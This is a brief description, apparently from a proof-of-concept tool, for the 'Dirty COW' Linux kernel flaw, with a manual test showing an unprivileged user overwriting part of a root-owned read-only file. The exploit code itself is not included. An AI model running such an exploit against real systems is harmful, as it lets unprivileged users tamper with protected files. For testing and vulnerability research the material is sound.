"Dirty cow" POC, installs 32-bit MOO! or 64-bit MOO!!!!! as the first word of specified file. Only the fs cache is altered, it doesn't actually write to disk, but Linux normally won't reload cached files so the change could persist until reboot. Manual test procedure: root# echo This is a test > /var/test root# chmod 644 /var/test root# su -s /bin/bash nobody nobody$ echo Make sure the file is read-only > /var/test bash: /var/test: Permission denied nobody$ /path/to/moo /var/test Success after 720 tries! nobody$ exit root# cat /var/test MOO!!!!!a test